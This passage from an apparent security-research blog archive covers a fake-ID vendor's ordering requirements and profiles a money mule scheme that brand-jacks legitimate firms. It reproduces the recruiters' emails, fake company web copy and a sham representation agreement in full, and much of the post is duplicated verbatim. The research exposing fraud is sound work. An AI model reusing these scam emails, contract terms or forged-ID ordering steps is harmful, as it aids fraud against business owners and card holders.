IDs contain UV (where applicable as some states don't), multispec-hologram, 1D/2D barcode

and/or magstripe that will scan/swipe to read DMV/AAMVA license standard.

The vendor is requiring the following data from his potential

customers:

Name - First, MI, Last

Address

DOB

Sex

Hair Color

Height

Weight

Eye color

Driver License number - if a number isn't provided one will be randomly generated

Endorsements and/or Restrictions - if not included these will be left blank

Scanned signature - if not provided you will receive a generic font signature

4602

******More\Less info may be required depending on the state requested*

Scanned passport picture - no webcam pictures can be accepted.

If you cannot get a real passport picture and have a decent camera, please take a pic

from the chest up against a white background/drywall with the flash 'ON'. I will handle the

cropping aspect. Also try to have good lighting and when scanning use high resolution. You

may also upload a signature. I ask that this be written using a black sharpie style pen to

achieve the best results.

You may upload this info to sendspace.com or the file-sharing site of your choosing and

forward me the download link. I will confirm reception via email and you order will begin

processing. All IDs are 150USD with incentive to group buys. Payment can be made via BTC,

WU, Moneygram. Payment will be collected upon completion and approval of your order.

Sample screenshots of the service's current 'inventory':

The market for fake passports/IDs/documents is prone to flourish, as more cybercrimi-

nals demand both, scanned, and plastic fake IDs to be later one abused in related fraudulent

schemes. Naturally, the market is quick to supply, and those who excel in their Operational

Security and quality of the underground market 'assets', will begin occupying a decent market

share within this underground market segment.

9.8.11 Profiling a Novel, High Profit Margins Oriented, Legitimate Companies Brand-

Jacking Money Mule Recruitment Scheme (2013-08-29 22:41)

Over the years, I've been actively researching the money mule recruitment epidemic, pro-

viding actionable (real-time/historical) intelligence on their activities, exposing [1]**their DNS**

infrastructure, offering exclusive peek inside [2]**the Administration Panels utilized by money**

mules, emphasizing on current and emerging tactics applied by the individuals orchestrating

the final stages of a fraudulent operation - the cash out process through basic risk-forwarding.

4732

Catch up with previous research on the money mule recruitment problem:

ment' script

• [22]Money Mule Recruiters use ASProx's Fast Fluxing Services

• [23]Money Mules Syndicate Actively Recruiting Since 2002

In this post, I'll profile a novel money mule recruitment scheme, that involves high profit mar-

gins – of course for the ones organizing the scheme – through a direct,

and most importantly,

(pseudo) legal brand-jacking of a gullible business owner's brand name, enticing him/her into

opening a merchant account for processing E-commerce transactions, coming from more

gullible and socially engineered mules.

It all begins with an email coming from a non-existent "environmental enterprise", that

in this particular case is abusing Google's brand in an attempt to increase the probability of a

successful interaction with the socially engineered business owners:

Sample email:

4733

Environmental enterprise searching for representation internationally

5 % commission on 200K cash flow originated from promotion and sales of proprietary

research articles

Necessary conditions:

- Own a company - Be reachable on daily basis through E-mail, phone or Skype - Proper

execution of all planned undertakings

In case if being interested, please provide:

- Name and Surname - Age - Telephone number (including country code) - City and Country -

Email

Please answer to: NAME@googleapp-consult.com

Faithfully yours,

HR dept

Those who reply are kindly asked to open a merchant bank account using their own

company data, and assured that, despite the fact that the Web site which will be selling

the bogus ’research articles’ will be using their (legitimate) business brand’s name and

contact details, they will still receive their 5 % commission on a 200,000/250,000 EUR in

anticipated revenue, which would naturally be coming directly from other mules participating

in the fraudulent scheme. Moreover, despite that a business owner will have his company

brand, logo, contact information listed at the Web site, he/she will have zero visibility to the

non-existent purchasing process of this research, as " *all customer service, sales, technical*

logistics, etc. are to be handled by us. "

Why would a potential cybercrime syndicate want a socially engineered business owner

to open a merchant bank account using his/her own data? Pretty simple. In my previous

research on [24]**the standardization of the money mule recruitment process**, I emphasized on

how money mules are often vetted through online-based surveys, which always ask important

from a mule recruiter’s perspective question, such as - when did you you first open your bank

account, and do you have any limitations on incoming/ongoing monetary transactions on it?

However, an established company would always benefit from the trust it has already es-

tablished with its financial institution/service of choice, meaning that, it will not only get its

merchant account open, but also, will successfully pass the majority of verification protection

mechanisms for high volume transactions put into the place by the financial institution/service

in place.

Sample reply email:

Thank you for your reply.

We are a company involved in development, branding and launching of several web me-

dia and IT projects involved in consulting on green technology, renewables and alternative

energy sources. Several of the projects are being currently launched online and each one

will need to have a card payment interface. This collaboration refers to opening a merchant

account for online credit card acceptance (E-commerce).

We would need your company to open a merchant account for card acceptance

4734

and handle the receivables derived from the sales generated by each project.

A bank/payment provider will facilitate data needed for website integration with their E-

commerce payment gateway. We will handle the technical side of such integration in full.

We will brand the website under your company, therefore the administrative

company data listed on the website will be yours, but all customer

service, tech-

nical logistics and sales are to be handled by us. *The products sold will be proprietary*

research articles and information packages on green technology, renewables and alternative

energy sources.

Incoming proceedings from sales will be settled by the bank (or the payment provider)

into your business bank account on a time scale defined by the bank (or the payment

provider).

These sale proceedings will be transferred to us, minus your commission and expenses

incurred. ***The volume of monthly payments processed through the merchant account***

will be in the order of EUR 200,000 - EUR 250,000 per month in the initial months.

The expected rise is roughly 5-6 % every month. The commission proposed to you

stands at 5 % of the mentioned volume.

All the expenses related to the operation including the banking and transactions fees

and the merchant account setup and related fees are to be covered by us. If you agree in

principle, I will provide the contract draft to define the legal terms of our collaboration.

Yours sincerely,

Michael Torti

Ecofin Projects

Green web hosting

The year 2011 has turned out to be a successful year, especially when it comes to the environment as a large number of companies throughout the globe has been following the ideal concept of 'Being Green'. Ecofin has in turn made numerous global companies worldwide follow its lead converting them into Green freindly companies.

Consequently, this has helped in acquiring a large consumer base. With a dedicated effort and commitment to being green, everyone has preferred investing in the green technological solutions, and ultimately, it was not just a single solitary firm working on the idea.

As we focus on one of our core ideals of doing a lot better for the environment today, still there is time when you will be able to have a better future by taking strong initiatives today.

Ecofin has launched various web-hosting projects which have turned out to be one of the best green web hosting firms. The company has been offering its broad consumer base with standardized web hosting services along with renewable and green efficiency by making use of pilot servers that are as a matter of fact, fed purely by solar energy.

Media content translation services

Another vital achievement credited to Ecofin is that it has been supporting various different companies in the Media content translation services industry.

Such companies have been offering their clientele with Human based translation service from English to Spanish of texts as well as different media contents such as podcasts, audio, video, mixed content and many others services with a strong emphasis on content of legal and technical nature.

Ecofin, in such a competitive world has enabled various companies to provide their clients all around the globe with an utmost degree of perfection when it comes to content translation in the industry.

As a result, our backend infrastructure and extensive capabilities has allowed us to make our partner service providers come up with an unbeatable track record providing services to customers around the globe.

Our customers seek the highest quality, industrial scale media content translation solutions and ecofin is here to deliver upon our noble promise and core value of being the best online based service provider for English to Spanish translation.

4739

Proprietary green technology reports

Ecofin has been an objector when it comes to working on Proprietary green technology reports. The primary focus is to ensure the sales of proprietary information, particularly in the form of reports based on renewable sources or energy, green technology, and eventually 'going green'.

All our in-depth sales reports can be easily obtained as they are instantly accessible over the World Wide Web through our website. Files are provided in PDF format, and will be available immediately for dowload after payment.

These can be looked into in-depth by global investors with a strong interest in such sectors. Our platform certainly is going to make things work in a lot better, efficient manner.

As a result, a large number of companies have been able to come on board, share their creative ideas, thoughts, and form a common consensus on issues and matters that need to be taken care of.

We have come a long way with Proprietary green technology reports and a lot has been done already which is truly useful in making this world a better place to live in.

Home Projects Company Contact Us

Ecofin

About Ecofin

The firm was originally established back in year 2008. Ecofin is a firm which is a privately held group which provides in-depth expertise, financing capital along with factoring services to startups worldwide.

Additionally we provide web content management services, IT projects and profitable initiatives in Green technologies and renewable sectors.

Our company supports creative ideas with global scale ambitions. We also purchase knowledge and creative ideas and land such as "rough diamonds" into income generating opportunities for our investors.

Our current interests include outsourcing receivables management as a means of workflow optimization to allow us to focus on our main core business interest of assessing profitability potential and launching new projects, maintaining a constant flow of new business ideas, as well as establishing "ideas incubators" for the mentioned business areas.

We are in constant search for global partners in the European Union, Asia Pacific region and South America for outsourcing accounts receivables of the projects that we launch.

The purpose is to build a robust sales logistics base in several key areas of the globe, and at the same time to attract local exposure to our projects. The company has been aggresively investing across the three major continents all around the globe including Asia, North America as well as Europe.

Ecofin is supported by a strong and talented team of experienced investment professionals when it comes to corporate finance along with utility industry backgrounds which are completely committed to initiating, composition, supervising, as well as bringing in such kinds of investments.

The company is active globally when it comes to environmental sectors, alternative energy as well as infrastructure. A large number of infrastructure entities are sharing a number of distinctiveness of utilities: they are the ones which are providing vital services, are capital intensive, enjoying naturally appearing monopolies and are normally regulated.

In the present time, the company's primary activities in the environmental niche focuses on promising environmental technologies along with alternative energy with waste treatment solutions.

REPRESENTATION AGREEMENT

This Representation Agreement is made on this … day of April of 2013

Between:

(1) Finns Ltd., a company with registration number 101434, incorporated under the laws of Gibraltar with registered office at Suite 24, Watergardens 6, Gibraltar and duly represented by Mr. Victor Bravo-Anguita, Director ("FINNS")

and

(2) <COMPANY NAME>, a company with registration number <registration number>, incorporated under the laws of <country of incorporation> with registered office at …….. and duly represented by …… ("Agent")

RECITALS

(A) FINNS is a company engaged in the sale of proprietary information in the green technology field.

(B) The Agent is a company involved in <business of Agent>.

(C) FINNS wishes to engage Agent to provide certain outsourced services under the terms and conditions of this Representation Agreement ("Agreement").

IT IS AGREED AS FOLLOW:

1. Appointment

(A) FINNS hereby retains Agent to act as FINNS's exclusive agent to provide the Services (as defined below) for the duration of the Term (as defined below) in the Territory (as defined below).

(B) FINNS shall provide to the Agent all necessary information necessary for the Agent to provide the Services.

2. Services

The Agent shall:

(A) represent, advise and counsel FINNS;

(B) sign documents related to credit card acceptance for and on behalf of FINNS; and

(C) perform the FINNS Activities (as defined below in Clause 3(A) hereinafter referred to as the "Services".

3. Duties of the Agent

In providing the Services, the Agent shall have the following specific obligations:

(A) Perform FINNS Activities (being those activities specifically agreed between the parties in respect of sales process handling).

(B) The Agent shall transfer to FINNS's bank account all funds originating from FINNS Activities less the Agency Fee originated from FINNS activities and the Disbursements (as defined below) from Agent's bank at the earlier of either EUR 3000 minus the Agency Fee or every 2 working days, via international bank wire. The cost of the international bank wire is deducted from the funds owed to FINNS.

(C) The Agent shall agrees to provide FINNS with online view-only access to Agent's bank account in order for FINNS to audit the cash flow derived from FINNS Activities and the provision of the Services.

(D) The Agent, shall, on a monthly basis provide a report to FINNS of all FINNS Activities performed by the Agent including such amounts collected by the Agent on behalf of FINNS.

(E) FINNS agrees that certain costs may be incurred by the Agent in the set-up and implementation of a business operation in the <country> (the "Territory"). In the event the Agent envisages such being incurred, the Agent will provide to FINNS all final cost estimates involving 3rd party services. Once agreed upon, FINNS will provide Agent with signed approval in a timely manner. FINNS further agrees that all approved costs relating to the above, will be either deducted from funds collected by the Agent (the "Disbursements") on FINNS's behalf or provided in installments by FINNS prior to the commencement of the activities under credible and pervasive evidence for such need (for instance – 3rd party invoices). The ultimate decision to choose between the former and the latter belongs to FINNS.

4. Agency Fee

(A) As consideration for the Services to be provided by the Agent, the Agent shall receive 5% (five percent) of the amounts collected and received by the Agent on behalf of FINNS originating from the FINNS Activities (the "Agency Fee").

(B) The Agency Fee shall be deducted by the Agent from funds to be transferred to FINNS in accordance with Clause 3(B) above.

5. Term

This Agreement shall commence on the date first written above and shall continue in full force and effect for a period of 1 (one) year unless otherwise terminated in accordance with the provisions of this Agreement.

6. Termination

(A) Without limiting its other rights or remedies, FINNS may terminate this Agreement with immediate effect by giving written notice to the Agent if:

(a) the Agent commits a material or persistent breach of the Agreement and (if such a breach is remediable) fails to remedy that breach within 7 days of receipt of notice in writing of the breach;

(b) the Agent commences negotiations with all or any class of its creditors with a view to rescheduling any of its debts, or makes a proposal for or enters into any compromise or arrangement with its creditors other than (where a company) for the sole purpose of a scheme for a solvent amalgamation of the Agent with one or more other companies or the solvent reconstruction of the Agent;

(c) a petition is filed, a notice is given, a resolution is passed, or an order is made, for or in connection with the winding up of the Agent (being a company) other than for the sole purpose of a scheme for a solvent amalgamation of the Agent with one or more other companies or the solvent reconstruction of the Agent;

(d) an application is made to court, or an order is made, for the appointment of an administrator or if a notice of intention to appoint an administrator is given or if an administrator is appointed over the Agent (being a company); or

(e) the Agent suspends or threatens to suspend, or ceases or threatens to cease to carry on, all or a substantial part of its business.

(B) Without limiting its other rights or remedies, FINNS may terminate the Agreement by giving the Agent 1 (one) months' written notice.

7. Consequences of Termination

On termination of this Agreement for any reason:

(a) the Agent shall immediately deliver to FINNS all monies then owing to FINNS less any applicable Agency Fee and Disbursements;

(b) the accrued rights, remedies, obligations and liabilities of the parties as at termination shall not be affected, including the right to claim damages in respect of any breach of this Agreement which existed at or before the date of termination; and

(c) Clauses which expressly or by implication have effect after termination shall continue in full force and effect.

8. Indemnity

(A) The Agent shall keep FINNS indemnified in full against all costs, expenses, damages and losses (whether direct or indirect), including any interest, fines, legal and other

professional fees and expenses awarded against or incurred or paid by FINNS as a result of or in connection with any claim made against FINNS by a third party arising out of, or in connection with, the supply of the Services, to the extent that such claim arises out of the breach, negligent performance or failure or delay in performance of the Agreement by the Agent, its employees, agents or subcontractors.

(B) FINNS shall keep the Agent indemnified in full against all costs, expenses, damages and losses (whether direct or indirect), including any interest, fines, legal and other professional fees and expenses awarded against or incurred or paid by Agent as a result of or in connection with any claim or chargeback made against Agent by a third party arising out of, or in connection with the sales, activities and actions of FINNS, its employees, agents or subcontractors.

(C) This Clause 8 shall survive termination of this Agreement.

9. Bank, Transaction Fees and Tax Liability

All current or future bank fees, including, but not limited to, credit card processing, ACH transactions and bank administration and all current or future tax liability, including, but not limited to, local, EU or international tax, relating directly to the business activity conducted on behalf of FINNS, will be the responsibility of FINNS. When due, will be deducted and paid to the proper authority from funds collected by the Agent on behalf of FINNS. The Agent agrees to provide copies of all documentation, invoices and demands for payment to FINNS prior to making any payment relating to the above.

10. General

(A) Force majeure: Neither party shall be liable to the other as a result of any delay or failure to perform its obligations under this Agreement if and to the extent such delay or failure is caused by an event or circumstance which is beyond the reasonable control of that party which by its nature could not have been foreseen by such a party or if it could have been foreseen was unavoidable. If such event or circumstances prevent the Agent from providing any of the Services for more than 4 weeks, FINNS shall have the right, without limiting its other rights or remedies, to terminate this Agreement with immediate effect by giving written notice to the Agent.

(B) Assignment and subcontracting: FINNS acknowledges that the Agent may engage other licensed or individual persons to fulfill certain terms of this Agreement save that such persons shall have no rights under this Agreement.

(C) Waiver and cumulative remedies

(a) A waiver of any right under this Agreement is only effective if it is in writing and shall not be deemed to be a waiver of any subsequent breach or default. No failure or delay by a party in exercising any right or remedy under this Agreement or by law shall constitute a waiver of that or any other right or remedy, nor preclude or restrict its further exercise. No single or partial exercise of such right or remedy shall preclude or restrict the further exercise of that or any other right or remedy.

(b) Unless specifically provided otherwise, rights arising under the Contract are cumulative and do not exclude rights provided by law.

(D) Severance:

(a) If a court or any other competent authority finds that any provision (or part of any provision) of this Agreement is invalid, illegal or unenforceable, that provision or part-provision shall, to the extent required, be deemed deleted, and the validity and enforceability of the other provisions of this Agreement shall not be affected.

(b) If any invalid, unenforceable or illegal provision of this Agreement would be valid, enforceable and legal if some part of it were deleted, the provision shall apply with the minimum modification necessary to make it legal, valid and enforceable.

(E) Third parties: A person who is not a party to this Agreement shall not have any rights under or in connection with it.

(F) Variation: Any variation, including any additional terms and conditions, to this Agreement shall only be binding when agreed in writing and signed by FINNS.

(G) Governing law and jurisdiction: Any dispute or claim arising out of, or in connection with this Agreement or its subject matter or formation (including non-contractual disputes or claims), shall be governed by, and construed in, accordance with, English law.

(H) Disputes: In the event of a dispute arising out of or in connection with this Agreement, the parties shall try to resolve the issue amicably within 15 day of a party notifying the other party of the grounds of the dispute. In the event that the parties are still unable to resolve the dispute, the parties agree that the dispute shall be finally resolved by arbitration under the ICC Rules (the ICC Rules then in force shall be deemed to be incorporated into this Agreement) in the LCIA. There shall be a single arbitrator appointed by the Chairperson of LCIA and the seat of arbitration shall be London. The arbitration shall be conducted in English. The parties agree that the arbitrator's decision shall be final and binding on the parties and the losing party shall bear the cost of the arbitration proceedings.

(I) Validity: This Agreement shall be executed in the quantity of 2 original copies signed by FINNS's and the Agent's representatives and then retained in the quantity of 1 original copy by FINNS and 1 original copy by the Agent, each copy of the Agreement signed shall serve as an original.

This Agreement has been entered into on the date stated at the beginning of it.

9.8.12 Profiling a Novel, High Profit Margins Oriented, Legitimate Companies Brand-

Jacking Money Mule Recruitment Scheme (2013-08-29 22:41)

Over the years, I've been actively researching the money mule recruitment epidemic, pro-

viding actionable (real-time/historical) intelligence on their activities, exposing [1]**their DNS**

infrastructure, offering exclusive peek inside [2]**the Administration Panels utilized by money**

mules, emphasizing on current and emerging tactics applied by the individuals orchestrating

the final stages of a fraudulent operation - the cash out process through basic risk-forwarding.

Catch up with previous research on the money mule recruitment problem:

• [3]Spotted: cybercriminals working on new Western Union based 'money mule manage-

ment' script

• [4]Keeping Money Mule Recruiters on a Short Leash - Part Eleven

• [9]Keeping Money Mule Recruiters on a Short Leash - Part Six

• [10]Keeping Money Mule Recruiters on a Short Leash - Part Five

• [11]The DNS Infrastructure of the Money Mule Recruitment Ecosystem

• [12]Keeping Money Mule Recruiters on a Short Leash - Part Four

• [13]Money Mule Recruitment Campaign Serving Client-Side Exploits

• [14]Keeping Money Mule Recruiters on a Short Leash - Part Three

• [15]Money Mule Recruiters on Yahoo!'s Web Hosting

• [16]Dissecting an Ongoing Money Mule Recruitment Campaign

• [17]Keeping Money Mule Recruiters on a Short Leash - Part Two

• [18]Keeping Reshipping Mule Recruiters on a Short Leash

• [19]Keeping Money Mule Recruiters on a Short Leash

• [20]Standardizing the Money Mule Recruitment Process

• [21]Inside a Money Laundering Group's Spamming Operations

• [22]Money Mule Recruiters use ASProx's Fast Fluxing Services

• [23]Money Mules Syndicate Actively Recruiting Since 2002

In this post, I'll profile a novel money mule recruitment scheme, that involves high profit mar-

gins – of course for the ones organizing the scheme – through a direct, and most importantly,

(pseudo) legal brand-jacking of a gullible business owner's brand name, enticing him/her into

opening a merchant account for processing E-commerce transactions, coming from more

gullible and socially engineered mules.

It all begins with an email coming from a non-existent "environmental enterprise", that

in this particular case is abusing Google's brand in an attempt to increase the probability of a

successful interaction with the socially engineered business owners:

Sample email:

Environmental enterprise searching for representation internationally

5 % commission on 200K cash flow originated from promotion and sales of proprietary

research articles

Necessary conditions:

- Own a company - Be reachable on daily basis through E-mail, phone or Skype - Proper

execution of all planned undertakings

In case if being interested, please provide:

- Name and Surname - Age - Telephone number (including country code) - City and Country -

Email

4752

Please answer to: NAME@googleapp-consult.com

Faithfully yours,

HR dept

Those who reply are kindly asked to open a merchant bank account using their own

company data, and assured that, despite the fact that the Web site which will be selling

the bogus 'research articles' will be using their (legitimate) business brand's name and

contact details, they will still receive their 5 % commission on a 200,000/250,000 EUR in

anticipated revenue, which would naturally be coming directly from other mules participating

in the fraudulent scheme. Moreover, despite that a business owner

will have his company

brand, logo, contact information listed at the Web site, he/she will have zero visibility to the

non-existent purchasing process of this research, as " *all customer service, sales, technical*

logistics, etc. are to be handled by us. "

Why would a potential cybercrime syndicate want a socially engineered business owner

to open a merchant bank account using his/her own data? Pretty simple. In my previous

research on [24]**the standardization of the money mule recruitment process**, I emphasized on

how money mules are often vetted through online-based surveys, which always ask important

from a mule recruiter's perspective question, such as - when did you you first open your bank

account, and do you have any limitations on incoming/ongoing monetary transactions on it?

However, an established company would always benefit from the trust it has already es-

tablished with its financial institution/service of choice, meaning that, it will not only get its

merchant account open, but also, will successfully pass the majority of verification protection

mechanisms for high volume transactions put into the place by the financial institution/service

in place.

Sample reply email:

Thank you for your reply.

We are a company involved in development, branding and launching of

several web me-

dia and IT projects involved in consulting on green technology, renewables and alternative

energy sources. Several of the projects are being currently launched online and each one

will need to have a card payment interface. This collaboration refers to opening a merchant

account for online credit card acceptance (E-commerce).

We would need your company to open a merchant account for card acceptance

and handle the receivables derived from the sales generated by each project.

A bank/payment provider will facilitate data needed for website integration with their E-

4753

commerce payment gateway. We will handle the technical side of such integration in full.

We will brand the website under your company, therefore the administrative

company data listed on the website will be yours, but all customer service, tech-

nical logistics and sales are to be handled by us. *The products sold will be proprietary*

research articles and information packages on green technology, renewables and alternative

energy sources.

Incoming proceedings from sales will be settled by the bank (or the payment provider)

into your business bank account on a time scale defined by the bank (or the payment

provider).

These sale proceedings will be transferred to us, minus your commission and expenses

incurred. ***The volume of monthly payments processed through the merchant account***

will be in the order of EUR 200,000 - EUR 250,000 per month in the initial months.

The expected rise is roughly 5-6 % every month. The commission proposed to you

stands at 5 % of the mentioned volume.

All the expenses related to the operation including the banking and transactions fees

and the merchant account setup and related fees are to be covered by us. If you agree in

principle, I will provide the contract draft to define the legal terms of our collaboration.

Yours sincerely,

Michael Torti

Ecofin Projects

Green web hosting

The year 2011 has turned out to be a successful year, especially when it comes to the environment as a large number of companies throughout the globe has been following the ideal concept of 'Being Green'. Ecofin has in turn made numerous global companies worldwide follow its lead converting them into Green freindly companies.

Consequently, this has helped in acquiring a large consumer base. With a dedicated effort and commitment to being green, everyone has preferred investing in the green technological solutions, and ultimately, it was not just a single solitary firm working on the idea.

As we focus on one of our core ideals of doing a lot better for the environment today, still there is time when you will be able to have a better future by taking strong initiatives today.

Ecofin has launched various web-hosting projects which have turned out to be one of the best green web hosting firms. The company has been offering its broad consumer base with standardized web hosting services along with renewable and green efficiency by making use of pilot servers that are as a matter of fact, fed purely by solar energy.

Media content translation services

Another vital achievement credited to Ecofin is that it has been supporting various different companies in the Media content translation services industry.

Such companies have been offering their clientele with Human based translation service from English to Spanish of texts as well as different media contents such as podcasts, audio, video, mixed content and many others services with a strong emphasis on content of legal and technical nature.

Ecofin, in such a competitive world has enabled various companies to provide their clients all around the globe with an utmost degree of perfection when it comes to content translation in the industry.

As a result, our backend infrastructure and extensive capabilities has allowed us to make our partner service providers come up with an unbeatable track record providing services to customers around the globe.

Our customers seek the highest quality, industrial scale media content translation solutions and ecofin is here to deliver upon our noble promise and core value of being the best online based service provider for English to Spanish translation.

4758

Proprietary green technology reports

Ecofin has been an objector when it comes to working on Proprietary green technology reports. The primary focus is to ensure the sales of proprietary information, particularly in the form of reports based on renewable sources or energy, green technology, and eventually 'going green'.

All our in-depth sales reports can be easily obtained as they are instantly accessible over the World Wide Web through our website. Files are provided in PDF format, and will be available immediately for dowload after payment.

These can be looked into in-depth by global investors with a strong interest in such sectors. Our platform certainly is going to make things work in a lot better, efficient manner.

As a result, a large number of companies have been able to come on board, share their creative ideas, thoughts, and form a common consensus on issues and matters that need to be taken care of.

We have come a long way with Proprietary green technology reports and a lot has been done already which is truly useful in making this world a better place to live in.

Ecofin

About Ecofin

The firm was originally established back in year 2008. Ecofin is a firm which is a privately held group which provides in-depth expertise, financing capital along with factoring services to startups worldwide.

Additionally we provide web content management services, IT projects and profitable initiatives in Green technologies and renewable sectors.

Our company supports creative ideas with global scale ambitions. We also purchase knowledge and creative ideas and land such as "rough diamonds" into income generating opportunities for our investors.

Our current interests include outsourcing receivables management as a means of workflow optimization to allow us to focus on our main core business interest of assessing profitability potential and launching new projects, maintaining a constant flow of new business ideas, as well as establishing "ideas incubators" for the mentioned business areas.

We are in constant search for global partners in the European Union, Asia Pacific region and South America for outsourcing accounts receivables of the projects that we launch.

The purpose is to build a robust sales logistics base in several key areas of the globe, and at the same time to attract local exposure to our projects. The company has been aggresively investing across the three major continents all around the globe including Asia, North America as well as Europe.

Ecofin is supported by a strong and talented team of experienced investment professionals when it comes to corporate finance along with utility industry backgrounds which are completely committed to initiating, composition, supervising, as well as bringing in such kinds of investments.

The company is active globally when it comes to environmental sectors, alternative energy as well as infrastructure. A large number of infrastructure entities are sharing a number of distinctiveness of utilities: they are the ones which are providing vital services, are capital intensive, enjoying naturally appearing monopolies and are normally regulated.

In the present time, the company's primary activities in the environmental niche focuses on promising environmental technologies along with alternative energy with waste treatment solutions.

environmental sectors, alternative energy, infrastructure, as well as utility all around the globe.

The firm is practicing a fundamental and basic approach while it comes to managing its

clientele assets.

A potentially socially engineered business owner would then be contacted with a simi-

lar email:

Please find the Contract draft attached, review and confirm your agreement with every

point of it. The next step would be to provide the proper company data to be put in the

contract and produce the final version for the signing.

Please review the showcase website:

This site will be copied into a new domain reflecting your company name and your com-

pany data.

As indicated, all customer service, sales, technical logistics, etc. are to be handled by us. You

would need to open a merchant account for online credit card acceptance (E-commerce).

The customers will be from all over the world. All the issues related to sales, marketing,

customer service, supply, logistics, etc. are to be handled by us. You will be required to open

a merchant account for online credit card acceptance, receive the funds and transfer us the

proceedings, as indicated in the contract draft with detail. No capital or any upfront payments

from your side are required. If it is necessary to cover any upfront fees for the merchant

account establishment, we will transfer such fees to you beforehand.

Sample Web Site Template offered as an example of how a socially engineered business

owner's company branded Web site, would look like (**greentechidea.com - 50.63.39.1**):

Welcome to Green Tech

The precursor to Green Technology can be understood with the onset of Industrial Revolution in the 1850s. The industrial revolution changed the face of humanity in terms of economic and technological advancement. As the developed countries started to grow and advance technically with increasing speed, this gave rise to one of the biggest problem of humanity that is of pollution. With increasing population the need of increased production became the mantra. This started the establishment of new factories and industries. To fuel the increasing demand the use of non-renewable fossil resources like coal and petroleum products increased. This was the starting point for increased air pollution and chemical discharge into the environment which ultimately gave rise to the increasing global warming and climate change.

The scope and growth of Green Technology is reaching its zenith, as most of the countries are putting in serious effort to invest heavily in its promotion and implementation. Common people are becoming aware about the advantages of Green Technology and are making every effort to put this Earth friendly technology to use in their daily lives.

About Us

The 21st century has been called the **"century of the environment."** Governments -and individual citizens - can no longer assume that social challenges such as pollution, dwindling natural resources and climate change can be set aside for future generations.

The research and development in the Green Technology is becoming increasingly viable, as lot of new government and private investments is poured in this field.

We realize the decision has to be made right now. As an initiative and responsible citizens of the earth we take our first step in sharing our knowledge in the form of articles for the viewers.

Our objectives are to promote innovative use of technology in conservation of energy, scarce materials and natural resources and dissemination of knowledge, encouraging the use of eco-friendly products.

We are taking this chance on zeal that with proper advancement and nurturing of new Green technologies and then put to practical use the day is not far behind when this Earth will again become a 'truly' Green planet.

REPRESENTATION AGREEMENT

This Representation Agreement is made on this … day of April of 2013

Between:

(1) Finns Ltd., a company with registration number 101434, incorporated under the laws of Gibraltar with registered office at Suite 24, Watergardens 6, Gibraltar and duly represented by Mr. Victor Bravo-Anguita, Director ("FINNS")

and

(2) <COMPANY NAME>, a company with registration number <registration number>, incorporated under the laws of <country of incorporation> with registered office at …….. and duly represented by …… ("Agent")

RECITALS

(A) FINNS is a company engaged in the sale of proprietary information in the green technology field.

(B) The Agent is a company involved in <business of Agent>.

(C) FINNS wishes to engage Agent to provide certain outsourced services under the terms and conditions of this Representation Agreement ("Agreement").

IT IS AGREED AS FOLLOW:

1. Appointment

(A) FINNS hereby retains Agent to act as FINNS's exclusive agent to provide the Services (as defined below) for the duration of the Term (as defined below) in the Territory (as defined below).

(B) FINNS shall provide to the Agent all necessary information necessary for the Agent to provide the Services.

2. Services

The Agent shall:

(A) represent, advise and counsel FINNS;

(B) sign documents related to credit card acceptance for and on behalf of FINNS; and

(C) perform the FINNS Activities (as defined below in Clause 3(A) hereinafter referred to as the "Services".

3. Duties of the Agent

In providing the Services, the Agent shall have the following specific obligations:

(A) Perform FINNS Activities (being those activities specifically agreed between the parties in respect of sales process handling).

(B) The Agent shall transfer to FINNS's bank account all funds originating from FINNS Activities less the Agency Fee originated from FINNS activities and the Disbursements (as defined below) from Agent's bank at the earlier of either EUR 3000 minus the Agency Fee or every 2 working days, via international bank wire. The cost of the international bank wire is deducted from the funds owed to FINNS.

(C) The Agent shall agrees to provide FINNS with online view-only access to Agent's bank account in order for FINNS to audit the cash flow derived from FINNS Activities and the provision of the Services.

(D) The Agent, shall, on a monthly basis provide a report to FINNS of all FINNS Activities performed by the Agent including such amounts collected by the Agent on behalf of FINNS.

(E) FINNS agrees that certain costs may be incurred by the Agent in the set-up and implementation of a business operation in the <country> (the "Territory"). In the event the Agent envisages such being incurred, the Agent will provide to FINNS all final cost estimates involving 3rd party services. Once agreed upon, FINNS will provide Agent with signed approval in a timely manner. FINNS further agrees that all approved costs relating to the above, will be either deducted from funds collected by the Agent (the "Disbursements") on FINNS's behalf or provided in installments by FINNS prior to the commencement of the activities under credible and pervasive evidence for such need (for instance – 3rd party invoices). The ultimate decision to choose between the former and the latter belongs to FINNS.

4. Agency Fee

(A) As consideration for the Services to be provided by the Agent, the Agent shall receive 5% (five percent) of the amounts collected and received by the Agent on behalf of FINNS originating from the FINNS Activities (the "Agency Fee").

(B) The Agency Fee shall be deducted by the Agent from funds to be transferred to FINNS in accordance with Clause 3(B) above.

5. Term

This Agreement shall commence on the date first written above and shall continue in full force and effect for a period of 1 (one) year unless otherwise terminated in accordance with the provisions of this Agreement.

6. Termination

(A) Without limiting its other rights or remedies, FINNS may terminate this Agreement with immediate effect by giving written notice to the Agent if:

(a) the Agent commits a material or persistent breach of the Agreement and (if such a breach is remediable) fails to remedy that breach within 7 days of receipt of notice in writing of the breach;

(b) the Agent commences negotiations with all or any class of its creditors with a view to rescheduling any of its debts, or makes a proposal for or enters into any compromise or arrangement with its creditors other than (where a company) for the sole purpose of a scheme for a solvent amalgamation of the Agent with one or more other companies or the solvent reconstruction of the Agent;

(c) a petition is filed, a notice is given, a resolution is passed, or an order is made, for or in connection with the winding up of the Agent (being a company) other than for the sole purpose of a scheme for a solvent amalgamation of the Agent with one or more other companies or the solvent reconstruction of the Agent;

(d) an application is made to court, or an order is made, for the appointment of an administrator or if a notice of intention to appoint an administrator is given or if an administrator is appointed over the Agent (being a company); or

(e) the Agent suspends or threatens to suspend, or ceases or threatens to cease to carry on, all or a substantial part of its business.

(B) Without limiting its other rights or remedies, FINNS may terminate the Agreement by giving the Agent 1 (one) months' written notice.

7. Consequences of Termination

On termination of this Agreement for any reason:

(a) the Agent shall immediately deliver to FINNS all monies then owing to FINNS less any applicable Agency Fee and Disbursements;

(b) the accrued rights, remedies, obligations and liabilities of the parties as at termination shall not be affected, including the right to claim damages in respect of any breach of this Agreement which existed at or before the date of termination; and

(c) Clauses which expressly or by implication have effect after termination shall continue in full force and effect.

8. Indemnity

(A) The Agent shall keep FINNS indemnified in full against all costs, expenses, damages and losses (whether direct or indirect), including any interest, fines, legal and other

professional fees and expenses awarded against or incurred or paid by FINNS as a result of or in connection with any claim made against FINNS by a third party arising out of, or in connection with, the supply of the Services, to the extent that such claim arises out of the breach, negligent performance or failure or delay in performance of the Agreement by the Agent, its employees, agents or subcontractors.

